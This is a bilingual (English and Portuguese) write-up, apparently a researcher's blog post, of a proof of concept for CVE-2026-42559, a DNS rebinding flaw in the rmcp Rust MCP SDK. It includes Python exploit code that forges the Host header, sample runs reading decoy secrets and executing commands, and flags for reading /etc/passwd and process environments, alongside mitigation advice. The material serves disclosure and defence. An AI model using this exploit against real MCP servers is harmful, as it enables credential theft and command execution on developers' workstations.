joaovicdev
exploitexploitCVE-2026-42559

CVE-2026-42559: DNS rebinding into a local MCP server — rmcp Host header PoCCVE-2026-42559: DNS rebinding até um servidor MCP local — PoC do Host header no rmcp

The Rust MCP SDK's Streamable HTTP transport never looked at the Host header, so any web page could DNS-rebind to a developer's loopback MCP server and call its tools. A two-container lab runs the same server against rmcp 1.3.0 and 1.4.0 to show the fix.O transporte Streamable HTTP do SDK Rust de MCP nunca olhava o header Host, então qualquer página web podia fazer DNS rebinding até o servidor MCP em loopback de um desenvolvedor e chamar as ferramentas dele. Um lab de dois contêineres roda o mesmo servidor contra o rmcp 1.3.0 e o 1.4.0 para mostrar a correção.

Proof of concept on GitHubProva de conceito no GitHub

Authorization: everything in this repository is intentionally vulnerable and exists for research and education. The containers expose a shell-execution tool by design. Run the lab only on a machine you own, and never point the exploit at a host you are not authorised to test.

Summary

CVE-2026-42559 is an origin-validation flaw (CWE-346) in rmcp, the official Rust SDK for the Model Context Protocol. Its Streamable HTTP server transport never inspected the inbound Host header before version 1.4.0.

That matters because of how MCP servers are actually deployed. They bind to loopback, they hold no credentials of their own, and their entire security model is "only something already on this machine can reach the socket." The browser is supposed to enforce that boundary via the same-origin policy — and DNS rebinding defeats it.

The result: a web page the victim merely visits gets a full MCP session with their local assistant server, and can call every tool it exposes. In the lab that means arbitrary file read and shell execution on the developer's workstation.

Productrmcp — official Rust SDK for the Model Context Protocol
Affected< 1.4.0
Fixed in1.4.0 (2026-04-10)
CVSS 3.18.8 High — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWECWE-346 (origin validation error), CWE-350
AdvisoryGHSA-89vp-x53w-74fx / RUSTSEC-2026-0189

Impact

PreconditionRequired?
Credentials on the MCP serverNo — it has none; reaching the socket is the authorization
User interactionYes — the victim must visit the attacker's page
The MCP server reachable on loopback or a private interfaceYes
Attacker-controlled DNS with a short TTLYes
Anything installed on the victim's machineNo

The UI:R in the vector undersells it. The required "interaction" is visiting a web page — no download, no click-through, no warning. Meanwhile the payoff scales with whatever the assistant was wired up to do, and MCP servers are wired up to do a lot: filesystem access, shell execution, cloud credentials, internal APIs.

How the attack works

DNS rebinding turns the browser's own origin model against the victim:

  1. The victim visits http://evil.example, served with a 1-second DNS TTL.
  2. The page stalls until the record is re-resolved. The attacker's DNS now answers evil.example → 127.0.0.1.
  3. The page calls fetch("http://evil.example:8000/mcp", …). The request lands on the victim's local MCP server — but the browser still considers it same-origin, so there is no CORS preflight and the JavaScript can read every byte of the response.

The only thing distinguishing that request from a legitimate one is a single header: Host: evil.example:8000 rather than Host: 127.0.0.1:8000. With no validation, the attacker's page gets a real MCP session.

Note that this is not a bug in anyone's server code. The vulnerable lab server sets up the transport with plain defaults:

mcp-server/src/main.rs — the vulnerable configuration
// Deliberately left at the transport defaults. That is the whole point:
// on rmcp < 1.4.0 the defaults contain no Host allowlist at all.
let config = StreamableHttpServerConfig::default().with_sse_keep_alive(None);

1.4.0 added StreamableHttpServerConfig::allowed_hosts, defaulting to ["localhost", "127.0.0.1", "::1"], plus a validate_dns_rebinding_headers() gate at the top of the request handler that answers 403 Forbidden otherwise.

Proof of concept

The lab runs two containers built from the same src/main.rs with the same server config. The only difference is the pinned crate version, so any change in behaviour comes entirely from the library:

ServicePortrmcpExpected
vulnerable127.0.0.1:80001.3.0forged Host accepted → full compromise
patched127.0.0.1:80011.4.0forged Host → 403 Forbidden

The pin happens at image build time, which is what keeps the comparison honest:

mcp-server/Dockerfile
RUN cargo generate-lockfile \
 && cargo update -p rmcp --precise "${RMCP_VERSION}" \
 && cargo update -p rmcp-macros --precise "${RMCP_VERSION}" \
 && cargo build --release --locked

The server plays a realistic "developer assistant", exposing whoami, read_file and run_command, and the image is seeded with decoy credentials at /home/dev/project/.env and /home/dev/.ssh/id_ed25519 so the exploit has something meaningful to steal.

Why the PoC forges the header instead of running a DNS server

exploit.py opens a TCP connection to the target and writes an attacker-controlled Host header directly, using skip_host=True so http.client does not helpfully insert the real one:

exploit/exploit.py — forging the post-rebind request
conn = http.client.HTTPConnection(self.ip, self.port, timeout=self.timeout)
conn.putrequest("POST", self.path, skip_host=True, skip_accept_encoding=True)
conn.putheader("Host", self.host_header)
conn.putheader("Origin", f"http://{self.host_header}")
conn.putheader("Content-Type", "application/json")
conn.putheader("Accept", "application/json, text/event-stream")

That is byte-for-byte the request a rebound browser emits. DNS rebinding is only the mechanism that makes a browser send a foreign Host to a loopback socket; reproducing it this way exercises exactly the code path the CVE is about, with two containers and no DNS infrastructure.

Run it

Prerequisites: Docker with the Compose plugin, and Python 3.9+ (the PoC has no dependencies).

1. Build both servers:

docker compose up -d --build

2. Exploit the vulnerable build:

python3 exploit/exploit.py --target 127.0.0.1:8000
[*] step 1: replaying the post-rebind request (Host: mcp-rebind.attacker.example:8000)
[!] 200 OK -- the forged Host header was accepted: VULNERABLE to CVE-2026-42559
[+] session opened from a foreign origin: Mcp-Session-Id=589c9643-d2e6-4267-8ed5-86265f0d8b57
 
[*] step 2: enumerating the tools now exposed to the attacker's page
        - read_file    Read a file from the workstation
        - run_command  Run a shell command on the workstation
        - whoami       Describe the workstation this assistant runs on
 
[*] step 3: invoking tools as if the attacker page were a local MCP client
    tools/call read_file path=/home/dev/project/.env
        | STRIPE_SECRET_KEY=sk_live_FAKE_0000000000000000
        | DATABASE_URL=postgres://app:hunter2@db.internal:5432/app
    tools/call run_command command='id; uname -a'
        | uid=1000(dev) gid=1000(dev) groups=1000(dev)
 
[!] arbitrary read and command execution on the victim host, from a web page

3. Confirm the fix against the identical server built on 1.4.0:

python3 exploit/exploit.py --target 127.0.0.1:8001
[*] step 1: replaying the post-rebind request (Host: mcp-rebind.attacker.example:8001)
[+] 403 Forbidden -- Forbidden: Host header is not allowed
[+] NOT VULNERABLE: this build validates the Host header (rmcp >= 1.4.0)

The script exits 1 when the target is vulnerable and 0 when it is not, so it drops straight into CI as a regression check.

Useful flags:

python3 exploit/exploit.py \
  --target 127.0.0.1:8000 \
  --rebind-host wallet.attacker.example \
  --loot /etc/passwd \
  --command 'cat /proc/self/environ | tr "\0" "\n"'

Tear down with docker compose down.

Mitigation

fixing it in your own server
// 1. Upgrade.
//    rmcp = "1.4"   (or later)
 
// 2. Loopback-only is the default from 1.4.0 onward — nothing to do
//    for a locally bound server.
let config = StreamableHttpServerConfig::default();
 
// 3. For a genuine public deployment, allowlist your own names.
let config = StreamableHttpServerConfig::default()
    .with_allowed_hosts(["mcp.example.com", "mcp.example.com:8443"]);

If you cannot upgrade, terminate the MCP endpoint behind a reverse proxy that rejects unknown Host values, and do not bind the server to 0.0.0.0 without one. disable_allowed_hosts() exists — calling it reintroduces this exact bug.

References

Autorização: tudo neste repositório é propositalmente vulnerável e existe para pesquisa e educação. Os contêineres expõem uma ferramenta de execução de shell de propósito. Rode o lab apenas em uma máquina que você possui, e nunca aponte o exploit para um host que você não tem autorização para testar.

Resumo

A CVE-2026-42559 é uma falha de validação de origem (CWE-346) no rmcp, o SDK Rust oficial do Model Context Protocol. O transporte Streamable HTTP de servidor dele nunca inspecionou o header Host de entrada antes da versão 1.4.0.

Isso importa por causa de como servidores MCP são de fato implantados. Eles sobem em loopback, não guardam credenciais próprias, e todo o modelo de segurança deles é "só quem já está nesta máquina alcança o socket". O navegador deveria sustentar essa fronteira via same-origin policy — e o DNS rebinding derruba isso.

O resultado: uma página web que a vítima apenas visita ganha uma sessão MCP completa com o servidor assistente local dela, e pode chamar todas as ferramentas que ele expõe. No lab, isso significa leitura arbitrária de arquivos e execução de shell na estação de trabalho do desenvolvedor.

Produtormcp — SDK Rust oficial do Model Context Protocol
Afetadas< 1.4.0
Corrigido em1.4.0 (2026-04-10)
CVSS 3.18.8 Alta — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWECWE-346 (erro de validação de origem), CWE-350
AdvisoryGHSA-89vp-x53w-74fx / RUSTSEC-2026-0189

Impacto

Pré-condiçãoNecessária?
Credenciais no servidor MCPNão — ele não tem nenhuma; alcançar o socket é a autorização
Interação do usuárioSim — a vítima precisa visitar a página do atacante
Servidor MCP alcançável em loopback ou em interface privadaSim
DNS controlado pelo atacante com TTL curtoSim
Qualquer coisa instalada na máquina da vítimaNão

O UI:R do vetor subestima o caso. A "interação" exigida é visitar uma página web — sem download, sem clicar em confirmação, sem aviso. Enquanto isso, o prêmio escala com o que quer que o assistente tenha sido conectado a fazer, e servidores MCP são conectados a fazer muita coisa: acesso ao sistema de arquivos, execução de shell, credenciais de nuvem, APIs internas.

Como o ataque funciona

O DNS rebinding vira o próprio modelo de origem do navegador contra a vítima:

  1. A vítima visita http://evil.example, servido com um TTL de DNS de 1 segundo.
  2. A página trava até o registro ser re-resolvido. O DNS do atacante agora responde evil.example → 127.0.0.1.
  3. A página chama fetch("http://evil.example:8000/mcp", …). A requisição cai no servidor MCP local da vítima — mas o navegador ainda a considera same-origin, então não há preflight de CORS e o JavaScript consegue ler cada byte da resposta.

A única coisa que distingue essa requisição de uma legítima é um único header: Host: evil.example:8000 em vez de Host: 127.0.0.1:8000. Sem validação, a página do atacante ganha uma sessão MCP de verdade.

Repare que isso não é um bug no código do servidor de ninguém. O servidor vulnerável do lab configura o transporte com os defaults simples:

mcp-server/src/main.rs — a configuração vulnerável
// Deliberately left at the transport defaults. That is the whole point:
// on rmcp < 1.4.0 the defaults contain no Host allowlist at all.
let config = StreamableHttpServerConfig::default().with_sse_keep_alive(None);

O 1.4.0 adicionou o StreamableHttpServerConfig::allowed_hosts, com padrão ["localhost", "127.0.0.1", "::1"], mais um portão validate_dns_rebinding_headers() no topo do handler de requisição que responde 403 Forbidden caso contrário.

Prova de conceito

O lab roda dois contêineres construídos a partir do mesmo src/main.rs com a mesma configuração de servidor. A única diferença é a versão fixada do crate, então qualquer mudança de comportamento vem inteiramente da biblioteca:

ServiçoPortarmcpEsperado
vulnerable127.0.0.1:80001.3.0Host forjado aceito → comprometimento total
patched127.0.0.1:80011.4.0Host forjado → 403 Forbidden

A fixação acontece no momento do build da imagem, o que é o que mantém a comparação honesta:

mcp-server/Dockerfile
RUN cargo generate-lockfile \
 && cargo update -p rmcp --precise "${RMCP_VERSION}" \
 && cargo update -p rmcp-macros --precise "${RMCP_VERSION}" \
 && cargo build --release --locked

O servidor faz o papel de um "assistente de desenvolvimento" realista, expondo whoami, read_file e run_command, e a imagem é semeada com credenciais isca em /home/dev/project/.env e /home/dev/.ssh/id_ed25519 para que o exploit tenha algo significativo para roubar.

Por que a PoC forja o header em vez de subir um servidor DNS

O exploit.py abre uma conexão TCP com o alvo e escreve diretamente um header Host controlado pelo atacante, usando skip_host=True para que o http.client não insira prestativamente o verdadeiro:

exploit/exploit.py — forjando a requisição pós-rebind
conn = http.client.HTTPConnection(self.ip, self.port, timeout=self.timeout)
conn.putrequest("POST", self.path, skip_host=True, skip_accept_encoding=True)
conn.putheader("Host", self.host_header)
conn.putheader("Origin", f"http://{self.host_header}")
conn.putheader("Content-Type", "application/json")
conn.putheader("Accept", "application/json, text/event-stream")

Isso é byte a byte a requisição que um navegador rebound emite. O DNS rebinding é apenas o mecanismo que faz um navegador mandar um Host estrangeiro para um socket de loopback; reproduzir assim exercita exatamente o caminho de código de que a CVE trata, com dois contêineres e nenhuma infraestrutura de DNS.

Rodando o lab

Pré-requisitos: Docker com o plugin Compose, e Python 3.9+ (a PoC não tem dependências).

1. Construa os dois servidores:

docker compose up -d --build

2. Explore o build vulnerável:

python3 exploit/exploit.py --target 127.0.0.1:8000
[*] step 1: replaying the post-rebind request (Host: mcp-rebind.attacker.example:8000)
[!] 200 OK -- the forged Host header was accepted: VULNERABLE to CVE-2026-42559
[+] session opened from a foreign origin: Mcp-Session-Id=589c9643-d2e6-4267-8ed5-86265f0d8b57
 
[*] step 2: enumerating the tools now exposed to the attacker's page
        - read_file    Read a file from the workstation
        - run_command  Run a shell command on the workstation
        - whoami       Describe the workstation this assistant runs on
 
[*] step 3: invoking tools as if the attacker page were a local MCP client
    tools/call read_file path=/home/dev/project/.env
        | STRIPE_SECRET_KEY=sk_live_FAKE_0000000000000000
        | DATABASE_URL=postgres://app:hunter2@db.internal:5432/app
    tools/call run_command command='id; uname -a'
        | uid=1000(dev) gid=1000(dev) groups=1000(dev)
 
[!] arbitrary read and command execution on the victim host, from a web page

3. Confirme a correção contra o servidor idêntico construído no 1.4.0:

python3 exploit/exploit.py --target 127.0.0.1:8001
[*] step 1: replaying the post-rebind request (Host: mcp-rebind.attacker.example:8001)
[+] 403 Forbidden -- Forbidden: Host header is not allowed
[+] NOT VULNERABLE: this build validates the Host header (rmcp >= 1.4.0)

O script sai com 1 quando o alvo é vulnerável e 0 quando não é, então ele encaixa direto em CI como um teste de regressão.

Flags úteis:

python3 exploit/exploit.py \
  --target 127.0.0.1:8000 \
  --rebind-host wallet.attacker.example \
  --loot /etc/passwd \
  --command 'cat /proc/self/environ | tr "\0" "\n"'

Derrube o ambiente com docker compose down.

Mitigação

corrigindo no seu próprio servidor
// 1. Upgrade.
//    rmcp = "1.4"   (or later)
 
// 2. Loopback-only is the default from 1.4.0 onward — nothing to do
//    for a locally bound server.
let config = StreamableHttpServerConfig::default();
 
// 3. For a genuine public deployment, allowlist your own names.
let config = StreamableHttpServerConfig::default()
    .with_allowed_hosts(["mcp.example.com", "mcp.example.com:8443"]);

Se você não puder atualizar, termine o endpoint MCP atrás de um reverse proxy que rejeite valores de Host desconhecidos, e não suba o servidor em 0.0.0.0 sem um. O disable_allowed_hosts() existe — chamá-lo reintroduz exatamente este bug.

Referências